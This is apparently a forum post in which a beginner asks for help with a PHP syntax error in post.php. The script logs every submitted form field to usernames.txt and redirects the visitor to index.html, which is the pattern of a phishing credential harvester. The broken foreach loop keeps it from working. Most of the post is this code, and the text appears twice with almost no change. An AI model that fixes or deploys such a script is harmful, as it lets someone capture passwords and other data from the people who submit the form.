I keep getting this message
Parse error: syntax error, unexpected ';' in /home/securelo/public_html/post.php on line 5
here is the php file
<?php
header ('Location:index.html');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) (
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
)
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
Im a total newbie at this crap. help?
Parse error: syntax error, unexpected ';' in /home/securelo/public_html/post.php on line 5
here is the php file
<?php
header ('Location:index.html');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) (
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
)
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
Im a total newbie at this crap. help?